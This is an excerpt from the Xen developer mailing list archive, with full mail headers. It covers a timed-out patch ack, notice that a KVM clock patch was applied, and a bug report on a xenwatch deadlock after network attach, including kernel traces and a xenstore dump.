	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(7416014)(376014)(366016)(1800799024)(56012099006)(11063799006)(4143699003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ZXgvcURyT1NwbUg3bEEwNEwvRTlVcWlvZ0k1M0pkc0ZPMkI2QjErY0JrVGhB?=
 =?utf-8?B?Y3lrY2E5NFFvTzVpUktOU2xFTWVDNUdjU3ZZc203U2Ixd2R1aHgxKzU5M1Uy?=
 =?utf-8?B?K0w5Q09wTjR1cU1hS3FLWUExWmlMTSswN3pyUE1nQ0pCVDZWbVBnTWd6N1RB?=
 =?utf-8?B?KzlhRWp1OTcvUlpyZlpvaS9UTlpTVTRKOXBpTjFYMnRiekRjcGc0YVREek1s?=
 =?utf-8?B?MHptWkVmbkhacGlyUldxYkg5Y09tbjgyMnJvRnhTK2FUOUxCd0g1UkZ1MlJK?=
 =?utf-8?B?UzVjd2pvb1ZxaVdkRXRUN3RTZm1sL3FOTFhXMHM0bnlGa1g0RzR1U3YwOVV5?=
 =?utf-8?B?aVFTQkNRdlpsVTg5ZFpHQU9QdmJjZG4yZi8yK014eUhkbjNHTlBLamNFeXpT?=
 =?ut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UQzRkFYVjhE?=
 =?utf-8?B?cGFvMWwvWmVIdGExamZpUHpzK1FFdFhocG0xaDBNT0Q1SVB2TC95ZnlLNU5S?=
 =?utf-8?B?ZVhTdTVBcktqWVpNSXIwWDNCYmdwbnFSV2JRbzQ5NVBtOWFhN01pUGIvS1B1?=
 =?utf-8?B?K0tiQ2dlSzhic1hUWG1NaVNVUUJXWVcyb2Roem5jTmhvM3BjUXBNdS9COThr?=
 =?utf-8?Q?3xl3ueUvnzwA8kfA=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4b15a20b-e72e-4510-fd0d-08deef1b1879
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 31 Jul 2026 15:47:58.8153
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: vp37MnvuCKtZ+bk+kfaHb+uIeUsUudRm4qG4AGa0V5IZaU7U62v70ArXiUYiYT7zTee0rBzj8+w+8Zx/DHW3rvaptEjWzwXUD7KNWhB/agk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL1PR03MB6070
X-purgate-ID: tlsNG-ebf023/1785512883-51ED6B50-C10109D3/10/73395122804
X-purgate-type: spam
X-purgate-size: 1521

On 09/05/2025 5:32 pm, Andrew Cooper wrote:
> ... needing later adjustment.  Drop types.h when it's clearly not needed.
>
> No functional change.
>
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Acked-by: Jan Beulich <jbeulich@suse.com>
> ---
> CC: Anthony PERARD <anthony.perard@vates.tech>
> CC: Michal Orzel <michal.orzel@amd.com>
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Julien Grall <julien@xen.org>
> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
> CC: Stefano Stabellini <sstabellini@kernel.org>
> CC: Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
> CC: Bertrand Marquis <bertrand.marquis@arm.com>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> CC: Shawn Anastasio <sanastasio@raptorengineering.com>
> ---
>  xen/arch/arm/mmu/setup.c   |  2 +-
>  xen/arch/x86/alternative.c | 12 ++++++------
>  xen/arch/x86/livepatch.c   |  8 ++++----
>  xen/common/memory.c        |  4 +++-
>  xen/common/page_alloc.c    |  5 ++---
>  xen/include/xen/mm.h       |  6 +++---
>  6 files changed, 19 insertions(+), 18 deletions(-)
>
> diff --git a/xen/arch/arm/mmu/setup.c b/xen/arch/arm/mmu/setup.c
> index 30afe9778194..f6119ccacf15 100644
> --- a/xen/arch/arm/mmu/setup.c
> +++ b/xen/arch/arm/mmu/setup.c
> @@ -12,8 +12,8 @@
>  #include <xen/sizes.h>
>  #include <xen/vmap.h>
>  
> -#include <asm/setup.h>
>  #include <asm/fixmap.h>
> +#include <asm/setup.h>
>  

I'm timing out the ack for this, seeing as I've just hit the same build
failure again.

~Andrew



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 20:10:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 20:10:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379605.1624066 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wptYc-000652-Ed; Fri, 31 Jul 2026 20:10:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379605.1624066; Fri, 31 Jul 2026 20:10:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wptYc-00064u-B4; Fri, 31 Jul 2026 20:10:14 +0000
Received: by outflank-mailman (input) for mailman id 1379605;
 Fri, 31 Jul 2026 20:10:13 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3IgFtagYKCTMhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 1wptYb-00064o-Bg
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 20:10:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wptYa-004Eb6-Os
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 22:10:12 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3IgFtagYKCTMhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a6d0119-bab6-0a2a0a5309dd-0a2a4507aa9c-6
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 22:10:12 +0200
Received: from [209.85.210.200] (helo=mail-pf1-f200.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3IgFtagYKCTMhTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a6d0123-b4ea-0a2a45070019-d155d2c8b198-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 22:10:12 +0200
Received: by mail-pf1-f200.google.com with SMTP id
 d2e1a72fcca58-84a3514f912so2381086b3a.3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 13:10:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785528610; x=1786133410; darn=lists.xenproject.org;
        h=content-type:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=6dGHZhChNpAHEZYB2yzeExiUjrKbT3b7Zh2GTXyKqp4=;
        b=ODcLAgV6tFlYELuvpBA3kRtaaR5eZYGCU2Fk+Xuh9Pg/R0gcNrwgwYNxR7hd5tVqn3
         5lI92MtbGDMBpN9T1kVOUsjW71alCbnFu37jIXtOTfoa8Ff7fj9uhUGIW1O6pwSoYtHq
         Y1ekBhhHnMtCi5iwnvQY96s7c0cO5yYxYihxfxiytgLqqO+/G056v86uCBT77e1QnG7S
         BYx6pPa2qXh7ShKbzN3SpLK8xw2ROnWZxqdo5bbUclFIWIvS2GO+pwc8xCXUGeByGeGC
         xZasgcf8fcrJ+v73Rvtof0AOXPJ9CC3DS56evMGT1rSPFLQCWzGOU+IhQOaLFQAgYagz
         cvWg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785528610; x=1786133410;
        h=content-type:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=6dGHZhChNpAHEZYB2yzeExiUjrKbT3b7Zh2GTXyKqp4=;
        b=EZUvpIf95FWD/I+cD6gKtVFSow/k1WZ//MezAS6ADgJF0f34ME6XcLXehDoy9PxC6d
         FsfeQMfMpRbVPQwPI1X8w1MHt7nj+NMT/VQegU59haz3bdG9LIk4i0yYlKKOtPSuUA1/
         vswbzsAbmhmKe8mnDbrMVrg8RsOotSsllSRY7JVmoiMLDlj1jkwH3QlzEDNeoam0SaPI
         GjopLCicdGR6VM+0xTxxJkyAgde4+dpLQy+EtltkuDmvLRtmtTKD6iuVK8RBehUjHBJE
         F0XLZGkfXihkEmsWxGuqvx/+lfAQlIngAKbTJCFje55Z853dvQPnnDwL082wzuYk/6RB
         ifQg==
X-Forwarded-Encrypted: i=1; AHgh+RrTmg6XyZjxlqLSJhqXX8LAYN8TIgEKbNZcyhpbUpKvld74de89h2i7SBvhZdTn6dCFFA5R087cQPw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw+2rTQQP/fVpVRbcuveUKPC8x4uxkiJxFcClX9l60V5Mf0ZHvE
	oRR4uNXqkyMeQ9YyqJaf5IQ4jYVHF8h/zHQzxPI1hYLaUC66EkPrps/kQI/Ia+NNBhmKt0NIGGZ
	0QR1tFw==
X-Received: from pfbi27-n2.prod.google.com ([2002:a05:6a00:a51b:20b0:848:5395:9a78])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:1d87:b0:848:4256:d6ad
 with SMTP id d2e1a72fcca58-84ee48f8ab0mr799329b3a.60.1785528610394; Fri, 31
 Jul 2026 13:10:10 -0700 (PDT)
Date: Fri, 31 Jul 2026 13:09:44 -0700
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0.508.g3f0d502094-goog
Message-ID: <178552799129.2700794.10181439022561913222.b4-ty@google.com>
Subject: Re: [PATCH v6 00/36] Cleaning up the KVM clock mess
From: Sean Christopherson <seanjc@google.com>
To: Sean Christopherson <seanjc@google.com>, Paolo Bonzini <pbonzini@redhat.com>, 
	Jonathan Corbet <corbet@lwn.net>, Shuah Khan <skhan@linuxfoundation.org>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org, 
	David Woodhouse <dwmw2@infradead.org>
Content-Type: text/plain; charset="utf-8"
X-purgate-ID: tlsNG-ef75cf/1785528612-352CCAE4-3725A5C1/0/0
X-purgate-type: clean
X-purgate-size: 792

On Fri, 03 Jul 2026 22:17:39 +0100, David Woodhouse wrote:
> This is v6 of the series to clean up the KVM clock, rebased onto the
> tip timers/ptp material (the timers-ptp-2026-06-13 merge, which includes
> Thomas's ktime snapshot series and the read_snapshot patches).
> 
> The KVM clock has historically suffered from three problems:
> 
>  1. Imprecision: get_kvmclock_ns() computed the clock from the *host*
>     TSC without applying guest TSC scaling, causing systemic drift from
>     the values the guest computes from its own TSC.
> 
> [...]

Applied patch 1 to kvm-x86 clocks.

[01/36] KVM: x86/xen: Do not corrupt KVM clock in kvm_xen_shared_info_init()
        https://github.com/kvm-x86/linux/commit/3d4b20b5a7df

--
https://github.com/kvm-x86/linux/tree/next


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 22:20:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 22:20:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379654.1624074 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpvaa-0006js-9O; Fri, 31 Jul 2026 22:20:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379654.1624074; Fri, 31 Jul 2026 22:20:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpvaa-0006jl-60; Fri, 31 Jul 2026 22:20:24 +0000
Received: by outflank-mailman (input) for mailman id 1379654;
 Fri, 31 Jul 2026 22:20:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wpvaY-0006jf-Ev
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 22:20:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpvaX-004S9d-14
 for xen-devel@lists.xenproject.org; Sat, 01 Aug 2026 00:20:21 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a6d1f41-5cb7-0a2a0a5109dd-0a2a4505e86a-40
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 00:20:20 +0200
Received: from [202.12.124.153] (helo=fhigh-b2-smtp.messagingengine.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a6d1fa2-4cb1-0a2a45050019-ca0c7c99bfad-3
 for <xen-devel@lists.xenproject.org>; Sat, 01 Aug 2026 00:20:19 +0200
Received: from phl-compute-01.internal (phl-compute-01.internal [10.202.2.41])
 by mailfhigh.stl.internal (Postfix) with ESMTP id 70DB87A00E1;
 Fri, 31 Jul 2026 18:20:18 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-01.internal (MEProxy); Fri, 31 Jul 2026 18:20:18 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Fri,
 31 Jul 2026 18:20:17 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1785536418;
	 x=1785622818; bh=WOUhBEvnzTHE/2dvAmQD8E6p0SvIKyf3AOHpU49OlM0=; b=
	mns8B32dt0Omh5PyKFWMK1Afvue+krdCOR//Ce8WZa0dHRrFzs8q3eb0s6SEcSQy
	POLNu0nXUAOEutj1DlTs3KJXVq/tBUWBDEt8YQKNQWH1QubZpyItscZzBYGqd6+c
	cMBKlUeF3BY62pzfBebmiN1jGKA12esysTjzHeviUwQ5Uw5js0jxgYai20PatLLk
	qGPigffvcBNnAEGQC4DSvxUx0mKhF0UFyHPhZnsHtPOOvOF5KE0KR9EFJZ/kq+1e
	n3snKizKUlQtSX7zLOcHCcSaDvuynWL9ACLddQQs0UFsCIHvmhy4PajwfwR7FVFL
	9gyJCNwVqLGoK7nHxLPjHw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1785536418; x=1785622818; bh=WOUhBEvnzTHE/2dvAmQD8E6p0SvIKyf3AOH
	pU49OlM0=; b=ggx7RFAmIPR0P/EeNUWkfYs7m41l70NQcgq+sqgo5B6/l1Ev/k0
	kpuueZwwDtwwhztIkpQnWL1BACBNNMbDImVL4iM9SIEoboKOqucdbGBKhLCsFAq3
	PwbOQhmvgxWZt+xaFLDURm6i7xm6udAKbjUVKdRDWvff/MPnb52OrbPUpcU7ICUe
	LBKCaICb/yvvJx0hEfe/3MmHX0LLdGB6NFcCmPSeZmGszWGWSkKlfgl4dh0t5h+B
	TegtiB7E8BPE2FWGAtD+Ho1rhJ/wU4tuYC6J99pFNRsi9WCD/sTN22YfzG9F1kCM
	OU362uiAehlbRkmzoCZZrg6RP7HZ+lK5coA==
X-ME-Sender: <xms:oh9tai2bYozEaroHVUXZYfPMgdxVDndmghb2arJuu8mULrmoSvr_dA>
    <xme:oh9tarEfdkmzBn0OaAqzPpDZ_emwDAmf8wSQdOUB0B1X_Em9hL6lzRwSZZu_ZoPYw
    qduUFRK1Wt_dbnWUHL-Chu_EPBLUp0nArACN8hOLj2sErgT>
X-ME-Received: <xmr:oh9taoh6OVFQEossh1ET8Fwvw98AnZaJZuPwlrJz2nh3Dv7ReBO39skPreXrMOQgytyydvlVVVJce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tPRUF>
Feedback-ID: i1568416f:Fastmail
Date: Sat, 1 Aug 2026 00:20:15 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Cc: =?utf-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Subject: Re: xenwatch thread deadlock after dynamic network attach
Message-ID: <am0fn5o20Hqu4j1F@mail-itl>
References: <amtZz0VOkHnviZMj@mail-itl>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="hviPNOAOinnC5KVc"
Content-Disposition: inline
In-Reply-To: <amtZz0VOkHnviZMj@mail-itl>
X-purgate-ID: tlsNG-c201ff/1785536420-F64B42A1-B3F0F019/0/0
X-purgate-type: clean
X-purgate-size: 9698

--hviPNOAOinnC5KVc
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Sat, 1 Aug 2026 00:20:15 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: xen-devel <xen-devel@lists.xenproject.org>
Cc: =?utf-8?B?PT91dGYtOD9CP1NzTzhjbWRsYmlCSGNtL0Rudz09Pz0=?= <jgross@suse.com>
Subject: Re: xenwatch thread deadlock after dynamic network attach

On Thu, Jul 30, 2026 at 04:03:59PM +0200, Marek Marczykowski-G=C3=B3recki w=
rote:
> Hi,
>=20
> I've hit yet another issue with network attach. This time, it looks like
> the code to handle forceful re-attach triggers when it shouldn't. The
> test is basically:
> 1. Start the backend domain
> 2. Start the frontend domain without any vif attached.
> 3. Attach vif (equivalent of xl network-attach).
>=20
> First I get:
>=20
>     [   17.476245] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.502933] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.551204] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.612171] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.654823] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.676268] xen vif-0: xenbus: state reset occurred, reconnecting
>     [   17.691250] xen_netfront: Initialising Xen virtual ethernet driver
>     [   17.692288] vif vif-0: xenbus: state reset occurred, reconnecting
>=20
> I'm not sure why it's repeated this many times (xenstore watch triggers
> this many times?), but then, all xenstore watch operations in that
> domain hangs. Inspecting tasks ("t" sysrq) shows:
>=20
>     [ 1494.201304] task:xenbus          state:S stack:0     pid:62    tgi=
d:62    ppid:2      task_flags:0x208040 flags:0x00080000
>     [ 1494.201607] Call Trace:
>     [ 1494.201659]  <TASK>
>     [ 1494.201711]  __schedule+0x2f3/0x780
>     [ 1494.201789]  ? __pfx_xenbus_thread+0x10/0x10
>     [ 1494.201890]  schedule+0x27/0xa0
>     [ 1494.201966]  xenbus_thread+0x1a8/0x200
>     [ 1494.202044]  ? __pfx_autoremove_wake_function+0x10/0x10
>     [ 1494.202144]  kthread+0xfc/0x240
>     [ 1494.202347]  ? __pfx_kthread+0x10/0x10
>     [ 1494.202418]  ret_from_fork+0x158/0x170
>     [ 1494.202568]  ? __pfx_kthread+0x10/0x10
>     [ 1494.202636]  ret_from_fork_asm+0x1a/0x30
>     [ 1494.202704]  </TASK>
>     [ 1494.202773] task:xenwatch        state:D stack:0     pid:63    tgi=
d:63    ppid:2      task_flags:0x208040 flags:0x00080000
>     [ 1494.202936] Call Trace:
>     [ 1494.202980]  <TASK>
>     [ 1494.203023]  __schedule+0x2f3/0x780
>     [ 1494.203091]  schedule+0x27/0xa0
>     [ 1494.203177]  schedule_preempt_disabled+0x15/0x30
>     [ 1494.203381]  __mutex_lock.constprop.0+0x544/0xa60
>     [ 1494.203560]  ? xenbus_scanf+0xbd/0x100
>     [ 1494.203636]  device_del+0x3a/0x3e0
>     [ 1494.203717]  device_unregister+0x17/0x60
>     [ 1494.203791]  xenbus_dev_changed+0x247/0x2a0
>     [ 1494.203865]  ? __pfx_xenwatch_thread+0x10/0x10
>     [ 1494.354139]  xenwatch_thread+0x92/0x1c0
>     [ 1494.354274]  ? __pfx_autoremove_wake_function+0x10/0x10
>     [ 1494.354545]  kthread+0xfc/0x240
>     [ 1494.355389]  ? __pfx_kthread+0x10/0x10
>     [ 1494.355615]  ret_from_fork+0x158/0x170
>     [ 1494.355706]  ? __pfx_kthread+0x10/0x10
>     [ 1494.355805]  ret_from_fork_asm+0x1a/0x30
>     [ 1494.355890]  </TASK>
>     ...
>     [ 1496.396208] task:(udev-worker)   state:D stack:0     pid:824   tgi=
d:824   ppid:270    task_flags:0x400140 flags:0x00080003
>     [ 1496.398700] Call Trace:
>     [ 1496.398753]  <TASK>
>     [ 1496.398805]  __schedule+0x2f3/0x780
>     [ 1496.398884]  schedule+0x27/0xa0
>     [ 1496.398961]  schedule_timeout+0x83/0x100
>     [ 1496.399036]  ? __pfx_process_timeout+0x10/0x10
>     [ 1496.399141]  xennet_create_dev+0x27e/0x340 [xen_netfront]
>     [ 1496.399246]  ? split+0xac/0x130
>     [ 1496.399326]  ? __pfx_autoremove_wake_function+0x10/0x10
>     [ 1496.399727]  netfront_probe+0x16/0x70 [xen_netfront]
>     [ 1496.399833]  xenbus_dev_probe+0xe6/0x1d0
>     [ 1496.399920]  really_probe+0xde/0x340
>     [ 1496.400005]  ? pm_runtime_barrier+0x54/0x90
>     [ 1496.400084]  ? __pfx___driver_attach+0x10/0x10
>     [ 1496.400213]  __driver_probe_device+0x84/0x140
>     [ 1496.400339]  driver_probe_device+0x1f/0xa0
>     [ 1496.400416]  __driver_attach+0xba/0x1c0
>     [ 1496.400632]  bus_for_each_dev+0x8e/0xe0
>     [ 1496.400714]  bus_add_driver+0x142/0x220
>     [ 1496.400790]  driver_register+0x72/0xd0
>     [ 1496.400876]  __xenbus_register_frontend+0x2b/0x50
>     [ 1496.400977]  ? __pfx_netif_init+0x10/0x10 [xen_netfront]
>     [ 1496.401079]  do_one_initcall+0x5a/0x310
>     [ 1496.401159]  do_init_module+0x90/0x250
>     [ 1496.401239]  init_module_from_file+0x88/0xd0
>     [ 1496.401345]  ? __pfx_ovl_file_accessed+0x10/0x10 [overlay]
>     [ 1496.401557]  idempotent_init_module+0x114/0x310
>     [ 1496.401656]  __x64_sys_finit_module+0x6d/0xd0
>     [ 1496.401773]  do_syscall_64+0x87/0x7e0
>     [ 1496.401848]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
>     [ 1496.401946] RIP: 0033:0x7abadbeba7b9
>     [ 1496.402029] RSP: 002b:00007ffc0ffba5d8 EFLAGS: 00000246 ORIG_RAX: =
0000000000000139
>     [ 1496.402163] RAX: ffffffffffffffda RBX: 00005aa7d2036580 RCX: 00007=
abadbeba7b9
>     [ 1496.556946] RDX: 0000000000000000 RSI: 00007abadb36d44d RDI: 00000=
0000000001b
>     [ 1496.557171] RBP: 0000000000000000 R08: 0000000000000000 R09: 00005=
aa7d20518c0
>     [ 1496.560779] R10: 0000000000000000 R11: 0000000000000246 R12: 00007=
abadb36d44d
>     [ 1496.561000] R13: 0000000000020000 R14: 00005aa7d1f24b00 R15: 00000=
00000000000
>     [ 1496.561301]  </TASK>
>=20
> Xenstore content at this time is:
>=20
> device/vif =3D ""   (n0,r61)
> device/vif/0 =3D ""   (n61,r59)
> device/vif/0/backend =3D "/local/domain/59/backend/vif/61/0"   (n61,r59)
> device/vif/0/backend-id =3D "59"   (n61,r59)
> device/vif/0/state =3D "1"   (n61,r59)
> device/vif/0/handle =3D "0"   (n61,r59)
> device/vif/0/mac =3D "00:16:3e:5e:6c:00"   (n61,r59)
> device/vif/0/trusted =3D "0"   (n61,r59)
> device/vif/0/mtu =3D "1500"   (n59,r61)
>=20
> /local/domain/59/backend/vif/61/0/frontend =3D "/local/domain/61/device/v=
if/0"   (n59,r61)
> /local/domain/59/backend/vif/61/0/frontend-id =3D "61"   (n59,r61)
> /local/domain/59/backend/vif/61/0/online =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/state =3D "2"   (n59,r61)
> /local/domain/59/backend/vif/61/0/script =3D "/etc/xen/scripts/vif-route-=
qubes"   (n59,r61)
> /local/domain/59/backend/vif/61/0/mac =3D "00:16:3e:5e:6c:00"   (n59,r61)
> /local/domain/59/backend/vif/61/0/ip =3D "10.137.0.19 fd09:24ef:4179::a89=
:13"   (n59,r61)
> /local/domain/59/backend/vif/61/0/bridge =3D "xenbr0"   (n59,r61)
> /local/domain/59/backend/vif/61/0/handle =3D "0"   (n59,r61)
> /local/domain/59/backend/vif/61/0/type =3D "vif"   (n59,r61)
> /local/domain/59/backend/vif/61/0/hotplug-status =3D "connected"   (n59,r=
61)
> /local/domain/59/backend/vif/61/0/feature-sg =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-gso-tcpv4 =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-gso-tcpv6 =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-ipv6-csum-offload =3D "1"   (n5=
9,r61)
> /local/domain/59/backend/vif/61/0/feature-rx-copy =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-xdp-headroom =3D "1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-rx-flip =3D "0"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-multicast-control =3D "1"   (n5=
9,r61)
> /local/domain/59/backend/vif/61/0/feature-dynamic-multicast-control =3D "=
1"   (n59,r61)
> /local/domain/59/backend/vif/61/0/feature-split-event-channels =3D "1"   =
(n59,r61)
